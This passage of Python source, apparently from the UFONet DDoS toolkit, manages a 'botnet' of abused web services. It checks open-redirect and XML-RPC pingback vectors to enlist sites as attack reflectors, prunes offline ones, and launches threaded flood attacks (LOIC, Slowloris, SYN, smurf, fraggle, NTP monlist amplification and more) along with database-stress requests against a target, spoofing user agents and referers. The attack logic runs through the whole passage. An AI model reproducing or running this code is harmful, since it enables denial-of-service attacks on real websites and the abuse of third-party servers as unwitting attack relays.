  5389. print("Type: [", zombie_type, "]")
  5390. print("Vector:", zombie)
  5391. print("HTTP Code: [", reply, "]")
  5392. print("STATUS:", status)
  5393. print('-'*21)
  5394. if status == "NOT Working!": # add to discarded zombies
  5395. if zombie not in discarded:
  5396. discarded.append(zombie)
  5397. print("\n" + '='*52)
  5398. print("\n+ Total Botnet:", len(botnet))
  5399. print("\n" + '-'*25 + "\n")
  5400. print(" - ONLINE:", zombies_online)
  5401. print(" - OFFLINE:", zombies_offline, "\n")
  5402. print('='*52 + '\n')
  5403. self.head = False
  5404. if zombies_offline > 0:
  5405. if not self.options.forceyes:
  5406. test_reply = input("[AI] Do you want to update your army? (Y/n)\n")
  5407. print('-'*25 + "\n")
  5408. else:
  5409. test_reply = "Y"
  5410. if test_reply == "n" or test_reply == "N":
  5411. print("[AI] "+self.exit_msg+"\n")
  5412. return
  5413. else:
  5414. disc_zombies = self.discard_zombies(discarded) # discard zombies (remove from files)
  5415. print('='*52)
  5416. print("\n - DISCARDED:", disc_zombies)
  5417. new_botnet = int(len(botnet) - disc_zombies)
  5418. print("\n+ New Total Botnet:", str(new_botnet), "\n")
  5419. print('='*52 + '\n')
  5420. else:
  5421. print("[Info] [AI] [Control] ALL checked [Zombies] are ONLINE! -> [Exiting!]\n")
  5422. def send_extra_zombies(self):
  5423. from core._botnet import is_placeholder as _is_ph
  5424. def _real(lst):
  5425. if not lst:
  5426. return None
  5427. r = [x for x in lst if not _is_ph(x)]
  5428. return r if r else None
  5429. # check for extra zombies: aliens, droids, rpcs, ucavs... and start attacking with them
  5430. if not self.options.disablealiens and not self.options.attackme: # different layers requests -> pure web abuse
  5431. if self.options.verbose:
  5432. print("[Info] [AI] [Control] Deploying [Aliens] with heavy 'laser-cannon' weapons...")
  5433. aliens = [_real(self.extract_aliens())] # extract aliens from file to a list
  5434. for a in aliens:
  5435. if a is None:
  5436. self.options.disablealiens = True
  5437. self.total_aliens = 0 # not any alien invoked
  5438. else:
  5439. for s in a: # extract number of aliens
  5440. self.total_aliens = self.total_aliens + 1
  5441. al = threading.Thread(target=self.send_aliens, args=(aliens)) # multithreading to send aliens
  5442. al.start()
  5443. else:
  5444. self.options.disablealiens = True
  5445. self.total_aliens = 0 # not any alien invoked
  5446. if not self.options.disabledroids and not self.options.attackme: # GET (with parameter required) requests
  5447. if self.options.verbose:
  5448. print("[Info] [AI] [Control] Deploying [Droids] with light 'laser-cannon' weapons...")
  5449. droids = [_real(self.extract_droids())] # extract droids from file to a list
  5450. for d in droids:
  5451. if d is None:
  5452. self.options.disabledroids = True
  5453. self.total_droids = 0 # not any droid invoked
  5454. else:
  5455. for s in d: # extract number of droids
  5456. self.total_droids = self.total_droids + 1
  5457. dr = threading.Thread(target=self.send_droids, args=(droids)) # multithreading to send droids
  5458. dr.start()
  5459. else:
  5460. self.options.disabledroids = True
  5461. self.total_droids = 0 # not any droid invoked
  5462. if not self.options.disablerpcs and not self.options.attackme: # exploit XML-RPC pingback vulnerability
  5463. if self.options.verbose:
  5464. print("[Info] [AI] [Control] Deploying [X-RPCs] with 'plasma cannon' weapons...")
  5465. rpcs = [_real(self.extract_rpcs())] # extract rpcs from file to a list
  5466. for r in rpcs:
  5467. if r is None:
  5468. self.options.disablerpcs = True
  5469. self.total_rpcs = 0 # not any rpc invoked
  5470. else:
  5471. for s in r: # extract number of rpcs
  5472. self.total_rpcs = self.total_rpcs + 1
  5473. rp = threading.Thread(target=self.send_rpcs, args=(rpcs)) # multithreading to send rpcs
  5474. rp.start()
  5475. else:
  5476. self.options.disablerpcs = True
  5477. self.total_rpcs = 0 # not any rpcs invoked
  5478. if not self.options.disableucavs and not self.options.attackme: # perform an external 'Is target up?' round check
  5479. if self.options.verbose:
  5480. print("[Info] [AI] [Control] Deploying [UCAVs] with 'heat-beam' weapons and 'status check' scanners...")
  5481. ucavs = [_real(self.extract_ucavs())] # extract ucavs from file to a list
  5482. for u in ucavs:
  5483. if u is None:
  5484. self.options.disableucavs = True
  5485. self.total_ucavs = 0 # not any ucav invoked
  5486. else:
  5487. for s in u: # extract number of ucavs
  5488. self.total_ucavs = self.total_ucavs + 1
  5489. uc = threading.Thread(target=self.send_ucavs, args=(ucavs)) # multithreading to send ucavs
  5490. uc.start()
  5491. else:
  5492. self.options.disableucavs = True
  5493. self.total_ucavs = 0 # not any ucavs invoked
  5494. def abandoning_zombies(self):
  5495. if self.options.expire: # set timing for purge
  5496. try:
  5497. timing = int(self.options.expire)
  5498. except:
  5499. timing = self.expire_timing # default timing for purge
  5500. else:
  5501. timing = self.expire_timing # default timing for purge
  5502. if timing < 1:
  5503. timing = self.expire_timing # default timing for purge
  5504. zombies_arrival_timing = timing # timing = trying to control round time for threading flow
  5505. zombies_lock = 0
  5506. if self.options.verbose:
  5507. print("[Info] [AI] [Control] Setting ["+str(zombies_arrival_timing)+"] per round for [Zombies] to return...")
  5508. while self.herd.no_more_zombies() == False: # abandoning -controller- zombies
  5509. zombies_lock = zombies_lock + 1
  5510. if zombies_lock > zombies_arrival_timing: # execute main abandoning routine!
  5511. if self.options.verbose:
  5512. print("\n[Info] [AI] [Control] Return time set [~"+str(zombies_arrival_timing)+"] for [Zombies] is over! -> [Expiring!]")
  5513. break
  5514. else:
  5515. time.sleep(1)
  5516. def discard_zombies(self, discarded):
  5517. disc_zombies = 0
  5518. if self.options.testoffline:
  5519. zombies_list = [self.zombies_file, self.aliens_file, self.droids_file, self.ucavs_file, self.rpcs_file]
  5520. else:
  5521. zombies_list = [self.zombies_file]
  5522. if not self.options.disablealiens: # add aliens
  5523. zombies_list.append(self.aliens_file)
  5524. if not self.options.disabledroids: # add droids
  5525. zombies_list.append(self.droids_file)
  5526. if not self.options.disablerpcs: # add rpcs
  5527. zombies_list.append(self.rpcs_file)
  5528. if not self.options.disableucavs: # add ucavs
  5529. zombies_list.append(self.ucavs_file)
  5530. for l in zombies_list:
  5531. f = open(l, "r+")
  5532. d = f.readlines()
  5533. f.close()
  5534. f = open(l, "w")
  5535. disc_zombies = self.remove_discarded_zombies(f, d, discarded, disc_zombies)
  5536. f.close()
  5537. return disc_zombies
  5538. def remove_discarded_zombies(self, f, d, discarded, disc_zombies):
  5539. m = []
  5540. for zombie in d:
  5541. if zombie not in discarded == True:
  5542. m.append(zombie) # save it
  5543. else:
  5544. disc_zombies = disc_zombies + 1
  5545. if not m:
  5546. fname = os.path.basename(f.name)
  5547. _ph = {
  5548. 'zombies.txt': '<TBD:dork-page.php?url=>',
  5549. 'aliens.txt': '<TBD:dork-POST-open-redirect>',
  5550. 'droids.txt': '<TBD:dork-validator?uri=>',
  5551. 'ucavs.txt': '<TBD:url-checker-service>',
  5552. 'rpcs.txt': '<TBD:dork-xmlrpc.php>',
  5553. 'ntp.txt': '<TBD:scan-udp-123-monlist>',
  5554. 'dns.txt': '<TBD:open-resolver-udp-53>',
  5555. 'snmp.txt': '<TBD:scan-udp-161-public>',
  5556. 'memcached.txt':'<TBD:scan-udp-11211>',
  5557. 'chargen.txt': '<TBD:scan-udp-19>',
  5558. 'cldap.txt': '<TBD:scan-udp-389>',
  5559. 'ssdp.txt': '<TBD:scan-udp-1900>',
  5560. 'qotd.txt': '<TBD:scan-udp-17>',
  5561. 'tftp.txt': '<TBD:scan-udp-69>',
  5562. 'wsdisco.txt': '<TBD:scan-udp-3702>',
  5563. 'coap.txt': '<TBD:scan-udp-5683>',
  5564. 'mssql.txt': '<TBD:scan-udp-1434>',
  5565. 'arms.txt': '<TBD:scan-udp-3283>',
  5566. 'plex.txt': '<TBD:scan-udp-32414>',
  5567. 'netbios.txt': '<TBD:scan-udp-137>',
  5568. 'ripv1.txt': '<TBD:scan-udp-520>',
  5569. 'middlebox.txt':'<TBD:scan-tcp-80-middlebox>',
  5570. }.get(fname, '<TBD:populate>')
  5571. f.write(_ph + os.linesep)
  5572. else:
  5573. for z in m:
  5574. f.write(z+os.linesep)
  5575. return disc_zombies
  5576. def parse_url_encoding(self, target):
  5577. if not target.startswith("http"):
  5578. target = "http://" + target
  5579. t = urlparse(target)
  5580. host = urllib.parse.quote(t.netloc.encode('utf-8'))
  5581. path = urllib.parse.quote(t.path.encode('utf-8'))
  5582. query = urllib.parse.quote(t.query.encode('utf-8'))
  5583. if query:
  5584. if path.endswith(""):
  5585. path.replace("", "/")
  5586. query = urllib.parse.quote(t.query.encode('utf-8'))
  5587. target = t.scheme+"://"+host + path + "?" + query
  5588. else:
  5589. target = t.scheme+"://"+host + path
  5590. return target
  5591. def testing_rpcs(self, rpcs):
  5592. # discover/test XML-RPC Pingback vulnerabilities on webapps (Wordpress, Drupal, PostNuke, b2evolution,
  5593. # Xoops, PHPGroupWare, TikiWiki, etc...) and update list
  5594. options = self.options
  5595. if self.options.testall: #testing_all
  5596. print('='*51)
  5597. print ("Are 'plasma' reflectors ready? :-) (XML-RPC 'Pingback' Vulnerability Check):")
  5598. print('='*51)
  5599. num_active_rpcs = 0
  5600. num_failed_rpcs = 0
  5601. rpcs_ready = []
  5602. print("Trying:", len(rpcs))
  5603. print('-'*21)
  5604. for rpc in rpcs:
  5605. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  5606. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  5607. if rpc.startswith("http://") or rpc.startswith("https://"):
  5608. print("[Info] [X-RPCs] Exploiting 'X-Pingback' at:", rpc)
  5609. rpc_host = rpc.replace("/xmlrpc.php", "")
  5610. rpc_vulnerable, rpc_pingback_url = self.search_rpc(rpc_host)
  5611. if rpc_vulnerable == True: # discover XML-RPC system.listMethods allowed
  5612. rpc_methods = "<methodCall><methodName>system.listMethods</methodName><params></params></methodCall>"
  5613. try:
  5614. if options.proxy: # set proxy
  5615. self.proxy_transport(options.proxy)
  5616. try:
  5617. req = urllib.request.Request(rpc_pingback_url, rpc_methods.encode('utf-8'), headers)
  5618. target_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
  5619. except:
  5620. if DEBUG == True:
  5621. traceback.print_exc()
  5622. if self.options.verbose:
  5623. print("[Info] [X-RPCs] Reply:", target_reply)
  5624. if "pingback.ping" in target_reply: # XML-RPC pingback.ping method is allowed!
  5625. print("[Info] [AI] -> [VULNERABLE!]")
  5626. rpcs_ready.append(rpc_pingback_url) # save XML-RPC path as RPC zombie
  5627. num_active_rpcs = num_active_rpcs + 1 # add fail to rpcs stats
  5628. else:
  5629. print("[Info] [AI] -> [NOT vulnerable...]")
  5630. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  5631. except:
  5632. print("[Info] [AI] -> [NOT vulnerable...]")
  5633. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  5634. else:
  5635. print("[Info] [AI] -> [NOT vulnerable...]")
  5636. num_failed_rpcs = num_failed_rpcs + 1 # add fail to rpcs stats
  5637. print('-'*21)
  5638. print('='*18)
  5639. print("OK:", num_active_rpcs, "Fail:", num_failed_rpcs)
  5640. print('='*18)
  5641. if self.options.testall: # testing_all
  5642. return rpcs_ready, num_active_rpcs, num_failed_rpcs
  5643. else:
  5644. # update 'rpcs' list
  5645. if num_active_rpcs == 0:
  5646. print("\n[Info] [X-RPCs] Not any vulnerable 'XML-RPC' active!\n")
  5647. return
  5648. else:
  5649. if not self.options.forceyes:
  5650. update_reply = input("[AI] Do you want to update your army? (Y/n)")
  5651. print('-'*25)
  5652. else:
  5653. update_reply = "Y"
  5654. if update_reply == "n" or update_reply == "N":
  5655. print("[AI] "+self.exit_msg+"\n")
  5656. return
  5657. else:
  5658. self.update_rpcs(rpcs_ready)
  5659. if not self.options.upload:
  5660. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  5661. def testing(self, zombies):
  5662. # test Open Redirect exploiting and show statistics
  5663. # HTTP HEAD check
  5664. army = 0
  5665. print ("Are 'they' alive? :-) (HEAD Check):")
  5666. print('='*35)
  5667. num_active_zombies = 0
  5668. num_failed_zombies = 0
  5669. active_zombies = []
  5670. print("Trying:", len(zombies))
  5671. print('-'*21)
  5672. for zombie in zombies:
  5673. zombie = str(zombie)
  5674. if zombie.startswith("http://") or zombie.startswith("https://"):
  5675. # send HEAD connection
  5676. self.head = True
  5677. try:
  5678. self.connect_zombies(zombie)
  5679. except:
  5680. pass
  5681. while self.herd.no_more_zombies() == False:
  5682. time.sleep(1)
  5683. for zombie in self.herd.done:
  5684. zombie = str(zombie)
  5685. t = urlparse(zombie)
  5686. if self.herd.get_result(zombie):
  5687. code_reply = self.herd.get_result(zombie)
  5688. self.head = False
  5689. if code_reply == "200" or code_reply == "302" or code_reply == "301": # HEAD check pass!
  5690. name_zombie = t.netloc
  5691. if name_zombie == "":
  5692. name_zombie = zombie
  5693. print("Zombie:", name_zombie)
  5694. print("Status: OK ["+ code_reply + "]")
  5695. num_active_zombies = num_active_zombies + 1
  5696. active_zombies.append(zombie)
  5697. elif code_reply == "401":
  5698. print("Zombie:", t.netloc)
  5699. print("Status: Unauthorized ["+ code_reply + "]")
  5700. num_failed_zombies = num_failed_zombies + 1
  5701. elif code_reply == "403":
  5702. print("Zombie:", t.netloc)
  5703. print("Status: Error Forbidden ["+ code_reply + "]")
  5704. num_failed_zombies = num_failed_zombies + 1
  5705. elif code_reply == "404":
  5706. print("Zombie:", t.netloc)
  5707. print("Status: Not Found ["+ code_reply + "]")
  5708. num_failed_zombies = num_failed_zombies + 1
  5709. elif code_reply == "500":
  5710. print("Zombie:", t.netloc)
  5711. print("Status: Internal Server Error ["+ code_reply + "]")
  5712. num_failed_zombies = num_failed_zombies + 1
  5713. else:
  5714. print("Zombie:", t.netloc, "\nVector:", zombie)
  5715. print("Status: Not Allowed ["+ code_reply + "]")
  5716. num_failed_zombies = num_failed_zombies + 1
  5717. else:
  5718. if self.options.verbose:
  5719. print("[Info] [Zombies] Reply:", "\n\nNothing!!!!!\n")
  5720. print("Zombie:", zombie)
  5721. print("Status: Malformed!")
  5722. num_failed_zombies = num_failed_zombies + 1
  5723. print('-'*10)
  5724. self.herd.reset()
  5725. print('='*18)
  5726. print("OK:", num_active_zombies, "Fail:", num_failed_zombies)
  5727. print('='*18 + "\n")
  5728. print('='*22)
  5729. if num_active_zombies > 0:
  5730. # check url parameter vectors
  5731. print ("Checking for payloads:")
  5732. print('='*22)
  5733. print("Trying:", num_active_zombies)
  5734. print('-'*21)
  5735. zombies_ready = []
  5736. num_waiting_zombies = 0
  5737. if num_active_zombies == 0:
  5738. num_disconnected_zombies = num_failed_zombies
  5739. else:
  5740. num_disconnected_zombies = 0
  5741. for zombie in active_zombies:
  5742. zombie = str(zombie)
  5743. t = urlparse(zombie)
  5744. name_zombie = t.netloc
  5745. if name_zombie == "":
  5746. name_zombie = zombie
  5747. self.payload = True
  5748. try:
  5749. self.connect_zombies(zombie)
  5750. except:
  5751. pass
  5752. self.payload = False
  5753. while self.herd.no_more_zombies() == False:
  5754. time.sleep(1)
  5755. for zombie in self.herd.done:
  5756. zombie = str(zombie)
  5757. t = urlparse(zombie)
  5758. name_zombie = t.netloc
  5759. if name_zombie == "":
  5760. name_zombie = zombie
  5761. payload_zombie = zombie
  5762. payload_reply = ""
  5763. print("Vector:", payload_zombie)
  5764. self.payload = True
  5765. if self.herd.get_result(zombie):
  5766. payload_reply = self.herd.get_result(zombie)
  5767. self.payload = False
  5768. if "https://www.whitehouse.gov" in payload_reply: #Open Redirect reply [requested by all UFONet motherships ;-)]
  5769. num_waiting_zombies = num_waiting_zombies + 1
  5770. print("Status:", "Awaiting for orders... ;-)")
  5771. zombies_ready.append(zombie)
  5772. else:
  5773. num_disconnected_zombies = num_disconnected_zombies + 1
  5774. print("Status:", "Not ready...")
  5775. army = army + 1
  5776. print('-'*10)
  5777. self.herd.reset()
  5778. print('='*18)
  5779. print("OK:", num_waiting_zombies, "Fail:", num_disconnected_zombies)
  5780. print('='*18 + "\n")
  5781. # list of [Zombies] ready to attack
  5782. num_active_zombie = 0
  5783. for z in zombies_ready:
  5784. t = urlparse(z)
  5785. name_zombie = t.netloc
  5786. if name_zombie == "":
  5787. name_zombie = z
  5788. num_active_zombie = num_active_zombie + 1
  5789. if self.options.verbose:
  5790. print("Zombie [", num_active_zombie, "]:", name_zombie + "\n")
  5791. if self.options.testall: # testing_all
  5792. return zombies_ready, num_waiting_zombies, num_disconnected_zombies + num_failed_zombies
  5793. else:
  5794. print('-'*25 + "\n")
  5795. print('='*24)
  5796. print("Working [Zombies]:", num_active_zombie)
  5797. print('='*24)
  5798. if not self.options.upload:
  5799. if not self.options.forceyes:
  5800. update_reply = input("\n[AI] Do you want to update your army? (Y/n)")
  5801. print('-'*25)
  5802. else:
  5803. update_reply = "Y"
  5804. if update_reply == "n" or update_reply == "N":
  5805. print("[AI] "+self.exit_msg+"\n")
  5806. return
  5807. else:
  5808. self.update_zombies(zombies_ready)
  5809. if not self.options.upload:
  5810. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  5811. self.update_scanner_stats(self.scanned_zombies) # update json file with scanner stats (found via dorking)
  5812. else:
  5813. print('-'*25 + "\n")
  5814. print('='*24)
  5815. print("Working [Zombies]:", num_active_zombies)
  5816. print('='*24)
  5817. print("\n[Info] [AI] [Zombies] aren't replying to your HTTP HEAD requests! -> [Exiting!]\n")
  5818. def testing_all(self):
  5819. # test whole botnet
  5820. print ("\nChecking if [Zombies] are still infected (WARNING: this may take serveral time!)\n")
  5821. print('='*35)
  5822. zombies = self.extract_zombies()
  5823. rpcs = self.extract_rpcs()
  5824. aliens = self.extract_aliens()
  5825. droids = self.extract_droids()
  5826. ucavs = self.extract_ucavs()
  5827. try:
  5828. botnet = zombies + rpcs + aliens + droids + ucavs
  5829. tested_zombies = zombies + rpcs # test types supported: zombies + xml-rpcs
  5830. except:
  5831. return
  5832. zombies_ready, num_waiting_zombies, num_disconnected_zombies = self.testing(zombies)
  5833. rpcs_ready, num_active_rpcs, num_failed_rpcs = self.testing_rpcs(rpcs)
  5834. print("\n" + '='*52)
  5835. print("\n+ Total Botnet:", len(botnet))
  5836. print("\n" + '-'*25)
  5837. print("\n+ Total Tested:", len(tested_zombies))
  5838. print("\n - Zombies :", len(zombies), " [ OK:", str(num_waiting_zombies), "| FAILED:", str(num_disconnected_zombies), "]")
  5839. print(" - XML-RPCs:", len(rpcs), " [ OK:", str(num_active_rpcs), "| FAILED:", str(num_failed_rpcs), "]" + "\n")
  5840. print('='*52 + '\n')
  5841. if num_disconnected_zombies > 0 or num_failed_rpcs > 0:
  5842. if not self.options.forceyes:
  5843. update_reply = input("[AI] Do you want update your army? (Y/n)")
  5844. print('-'*25)
  5845. else:
  5846. update_reply = "Y"
  5847. if update_reply == "n" or update_reply == "N":
  5848. print("[AI] "+self.exit_msg+"\n")
  5849. return
  5850. else:
  5851. if num_disconnected_zombies > 0:
  5852. self.update_zombies(zombies_ready)
  5853. if num_failed_rpcs > 0:
  5854. self.update_rpcs(rpcs_ready)
  5855. if not self.options.upload:
  5856. print("\n[Info] [AI] Botnet updated! -> ;-)\n")
  5857. else:
  5858. print("[Info] [AI] [Control] ALL tested [Zombies] are working! ;-) -> [Exiting!]\n")
  5859. def attacking(self, zombies, target):
  5860. # perform a DDoS Web attack using Open Redirect vectors (and other Web Abuse services) as [Zombies]
  5861. if self.options.forcessl:
  5862. if target.startswith("http://"):
  5863. target = target.replace("http://", "https://") # force SSL/TLS
  5864. if target.startswith("http://") or target.startswith("https://"):
  5865. print("Attacking:", target)
  5866. print('='*55, "\n")
  5867. # send Open Redirect injection (multiple zombies > one target url)
  5868. reply = self.injection(target, zombies)
  5869. else:
  5870. print("\n[Error] [AI] Target not valid (add protocol prefix http(s)://): "+target+" -> [Discarding!]\n")
  5871. def aiming_extra_weapons(self, target, proxy, loic, loris, ufosyn, spray, smurf, fraggle, xmas, ufoack, uforst, droper, overlap, pinger, ufoudp, nuke, tachyon, monlist, sniper):
  5872. # perform some other extra attacks (such as DoS techniques)
  5873. time.sleep(2) # aiming (multi-threading flow time compensation)
  5874. if loic:
  5875. try:
  5876. self.options.loic = int(loic)
  5877. except:
  5878. self.options.loic = 100 # default LOIC requests
  5879. if self.options.loic < 1:
  5880. self.options.loic = 100
  5881. self.instance = LOIC() # instance main class for LOIC operations
  5882. self.t1 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loic, proxy)) # LOIC using threads + proxy
  5883. self.t1.daemon = True # extra weapons are threaded as daemons
  5884. self.t1.start()
  5885. self.update_loic_stats() # add new LOIC attack to mothership stats
  5886. if loris:
  5887. try:
  5888. self.options.loris = int(loris)
  5889. except:
  5890. self.options.loris = 101 # default LORIS requests (apache -> max_clients: ~100 | nginx -> no limit (other method))
  5891. if self.options.loris < 1:
  5892. self.options.loris = 101
  5893. self.instance = LORIS() # instance main class for LORIS operations
  5894. self.t2 = threading.Thread(target=self.instance.attacking, args=(target, self.options.loris)) # LORIS using threads
  5895. self.t2.daemon = True
  5896. self.t2.start()
  5897. self.update_loris_stats() # add new LORIS attack to mothership stats
  5898. if ufosyn:
  5899. try:
  5900. self.options.ufosyn = int(ufosyn)
  5901. except:
  5902. self.options.ufosyn = 100 # default UFOSYN requests
  5903. if self.options.ufosyn < 1:
  5904. self.options.ufosyn = 100
  5905. self.instance = UFOSYN() # instance main class for UFOSYN operations
  5906. self.t3 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufosyn)) # UFOSYN using threads
  5907. self.t3.daemon = True
  5908. self.t3.start()
  5909. self.update_ufosyn_stats() # add new UFOSYN attack to mothership stats
  5910. if spray:
  5911. try:
  5912. self.options.spray = int(spray)
  5913. except:
  5914. self.options.spray = 100 # default SPRAY requests
  5915. if self.options.spray < 1:
  5916. self.options.spray = 100
  5917. self.instance = SPRAY() # instance main class for SPRAY operations
  5918. self.t4 = threading.Thread(target=self.instance.attacking, args=(target, self.options.spray)) # SPRAY using threads
  5919. self.t4.daemon = True
  5920. self.t4.start()
  5921. self.update_spray_stats() # add new SPRAY attack to mothership stats
  5922. if smurf:
  5923. try:
  5924. self.options.smurf = int(smurf)
  5925. except:
  5926. self.options.smurf = 101 # default SMURF requests
  5927. if self.options.smurf < 1:
  5928. self.options.smurf = 101
  5929. self.instance = SMURF() # instance main class for SMURF operations
  5930. self.t5 = threading.Thread(target=self.instance.attacking, args=(target, self.options.smurf)) # SMURF using threads
  5931. self.t5.daemon = True
  5932. self.t5.start()
  5933. self.update_smurf_stats() # add new SMURF attack to mothership stats
  5934. if xmas:
  5935. try:
  5936. self.options.xmas = int(xmas)
  5937. except:
  5938. self.options.xmas = 101 # default XMAS requests
  5939. if self.options.xmas < 1:
  5940. self.options.xmas = 101
  5941. self.instance = XMAS() # instance main class for XMAS operations
  5942. self.t6 = threading.Thread(target=self.instance.attacking, args=(target, self.options.xmas)) # XMAS using threads
  5943. self.t6.daemon = True
  5944. self.t6.start()
  5945. self.update_xmas_stats() # add new XMAS attack to mothership stats
  5946. if nuke:
  5947. if sys.platform == "linux" or sys.platform == "linux2":
  5948. try:
  5949. self.options.nuke = int(nuke)
  5950. except:
  5951. self.options.nuke = 10000 # default NUKE requests
  5952. if self.options.nuke < 1:
  5953. self.options.nuke = 10000
  5954. self.instance = NUKE() # instance main class for NUKE operations
  5955. self.t7 = threading.Thread(target=self.instance.attacking, args=(target, self.options.nuke)) # NUKE using threads
  5956. self.t7.daemon = True # extra weapons are threaded as daemons
  5957. self.t7.start()
  5958. self.update_nuke_stats() # add new NUKE attack to mothership stats
  5959. else:
  5960. print("\n[Info] [AI] Your OS cannot perform this attack... -> [Passing!]\n")
  5961. if tachyon:
  5962. try:
  5963. self.options.tachyon = int(tachyon)
  5964. except:
  5965. self.options.tachyon = 1000 # default TACHYON requests
  5966. if self.options.tachyon < 1:
  5967. self.options.tachyon = 1000
  5968. self.instance = TACHYON() # instance main class for TACHYON operations
  5969. self.t8 = threading.Thread(target=self.instance.attacking, args=(target, self.options.tachyon)) # TACHYON using threads
  5970. self.t8.daemon = True
  5971. self.t8.start()
  5972. self.update_tachyon_stats() # add new TACHYON attack to mothership stats
  5973. if monlist:
  5974. try:
  5975. self.options.monlist = int(monlist)
  5976. except:
  5977. self.options.monlist = 1000 # default MONLIST requests
  5978. if self.options.monlist < 1:
  5979. self.options.monlist = 1000
  5980. self.instance = MONLIST() # instance main class for MONLIST operations
  5981. self.t9 = threading.Thread(target=self.instance.attacking, args=(target, self.options.monlist)) # MONLIST using threads
  5982. self.t9.daemon = True
  5983. self.t9.start()
  5984. self.update_monlist_stats() # add new MONLIST attack to mothership stats
  5985. if ufoack:
  5986. try:
  5987. self.options.ufoack = int(ufoack)
  5988. except:
  5989. self.options.ufoack = 101 # default UFOACK requests
  5990. if self.options.ufoack < 1:
  5991. self.options.ufoack = 101
  5992. self.instance = UFOACK() # instance main class for UFOACK operations
  5993. self.t10 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoack)) # UFOACK using threads
  5994. self.t10.daemon = True
  5995. self.t10.start()
  5996. self.update_ufoack_stats() # add new UFOACK attack to mothership stats
  5997. if uforst:
  5998. try:
  5999. self.options.uforst = int(uforst)
  6000. except:
  6001. self.options.uforst = 101 # default UFORST requests
  6002. if self.options.uforst < 1:
  6003. self.options.uforst = 101
  6004. self.instance = UFORST() # instance main class for UFORST operations
  6005. self.t11 = threading.Thread(target=self.instance.attacking, args=(target, self.options.uforst)) # UFORST using threads
  6006. self.t11.daemon = True
  6007. self.t11.start()
  6008. self.update_uforst_stats() # add new UFORST attack to mothership stats
  6009. if droper:
  6010. try:
  6011. self.options.droper = int(droper)
  6012. except:
  6013. self.options.droper = 101 # default DROPER requests
  6014. if self.options.droper < 1:
  6015. self.options.droper = 101
  6016. self.instance = DROPER() # instance main class for DROPER operations
  6017. self.t12 = threading.Thread(target=self.instance.attacking, args=(target, self.options.droper)) # DROPER using threads
  6018. self.t12.daemon = True
  6019. self.t12.start()
  6020. self.update_droper_stats() # add new DROPER attack to mothership stats
  6021. if overlap:
  6022. try:
  6023. self.options.overlap = int(overlap)
  6024. except:
  6025. self.options.overlap = 101 # default OVERLAP requests
  6026. if self.options.overlap < 1:
  6027. self.options.overlap = 101
  6028. self.instance = OVERLAP() # instance main class for OVERLAP operations
  6029. self.t13 = threading.Thread(target=self.instance.attacking, args=(target, self.options.overlap)) # OVERLAP using threads
  6030. self.t13.daemon = True
  6031. self.t13.start()
  6032. self.update_overlap_stats() # add new OVERLAP attack to mothership stats
  6033. if pinger:
  6034. try:
  6035. self.options.pinger = int(pinger)
  6036. except:
  6037. self.options.pinger = 101 # default PINGER requests
  6038. if self.options.pinger < 1:
  6039. self.options.pinger = 101
  6040. self.instance = PINGER() # instance main class for PINGER operations
  6041. self.t14 = threading.Thread(target=self.instance.attacking, args=(target, self.options.pinger)) # PINGER using threads
  6042. self.t14.daemon = True
  6043. self.t14.start()
  6044. self.update_pinger_stats() # add new PINGER attack to mothership stats
  6045. if ufoudp:
  6046. try:
  6047. self.options.ufoudp = int(ufoudp)
  6048. except:
  6049. self.options.ufoudp = 101 # default UFOUDP requests
  6050. if self.options.ufoudp < 1:
  6051. self.options.ufoudp = 101
  6052. self.instance = UFOUDP() # instance main class for UFOUDP operations
  6053. self.t15 = threading.Thread(target=self.instance.attacking, args=(target, self.options.ufoudp)) # UFOUDP using threads
  6054. self.t15.daemon = True
  6055. self.t15.start()
  6056. self.update_ufoudp_stats() # add new UFOUDP attack to mothership stats
  6057. if fraggle:
  6058. try:
  6059. self.options.fraggle = int(fraggle)
  6060. except:
  6061. self.options.fraggle = 101 # default FRAGGLE requests
  6062. if self.options.fraggle < 1:
  6063. self.options.fraggle = 101
  6064. self.instance = FRAGGLE() # instance main class for FRAGGLE operations
  6065. self.t16 = threading.Thread(target=self.instance.attacking, args=(target, self.options.fraggle)) # FRAGGLE using threads
  6066. self.t16.daemon = True
  6067. self.t16.start()
  6068. self.update_fraggle_stats() # add new FRAGGLE attack to mothership stats
  6069. if sniper:
  6070. try:
  6071. self.options.sniper = int(sniper)
  6072. except:
  6073. self.options.sniper = 101 # default SNIPER requests
  6074. if self.options.sniper < 1:
  6075. self.options.sniper = 101
  6076. self.instance = SNIPER() # instance main class for SNIPER operations
  6077. self.t17 = threading.Thread(target=self.instance.attacking, args=(target, self.options.sniper)) # SNIPER using threads
  6078. self.t17.daemon = True
  6079. self.t17.start()
  6080. self.update_sniper_stats() # add new SNIPER attack to mothership stats
  6081. def stressing(self, target, zombie):
  6082. # perform a DDoS Web attack against a target, requesting records on target's database
  6083. options = self.options
  6084. db_input = self.options.dbstress
  6085. def random_key(length):
  6086. key = ''
  6087. for i in range(length):
  6088. key += random.choice(string.ascii_lowercase + string.ascii_uppercase + string.digits)
  6089. return key
  6090. # generating random alphanumeric queries
  6091. if self.db_flash > 9: # set db flash start on: 10
  6092. length = 1024 # search a heavy random length query (db flash): 1024
  6093. self.db_flash = 0 # reset db flash counter
  6094. else:
  6095. length = 1 # search for one different (alphanumeric) character each time will produces more positive results on db
  6096. key = str(random_key(length))
  6097. if self.db_flash > 9:
  6098. print("[Info] [AI] [DBStress] Trying database request to: " + db_input + " | Query used: db flash! " + "(" + str(length) + " chars)")
  6099. else:
  6100. print("[Info] [AI] [DBStress] Trying database request to: " + db_input + " | Query used: " + key)
  6101. self.user_agent = random.choice(self.agents).strip() # shuffle user-agent
  6102. headers = {'User-Agent' : self.user_agent, 'Referer' : self.referer} # set fake user-agent and referer
  6103. if not target.endswith('/'): # add "/" to end of target
  6104. target = target + "/"
  6105. url = zombie + target + db_input + key
  6106. req = urllib.request.Request(url, None, headers)
  6107. if options.proxy: # set proxy
  6108. self.proxy_transport(options.proxy)
  6109. try:
  6110. req_reply = urllib.request.urlopen(req, context=self.ctx).read().decode('utf-8')
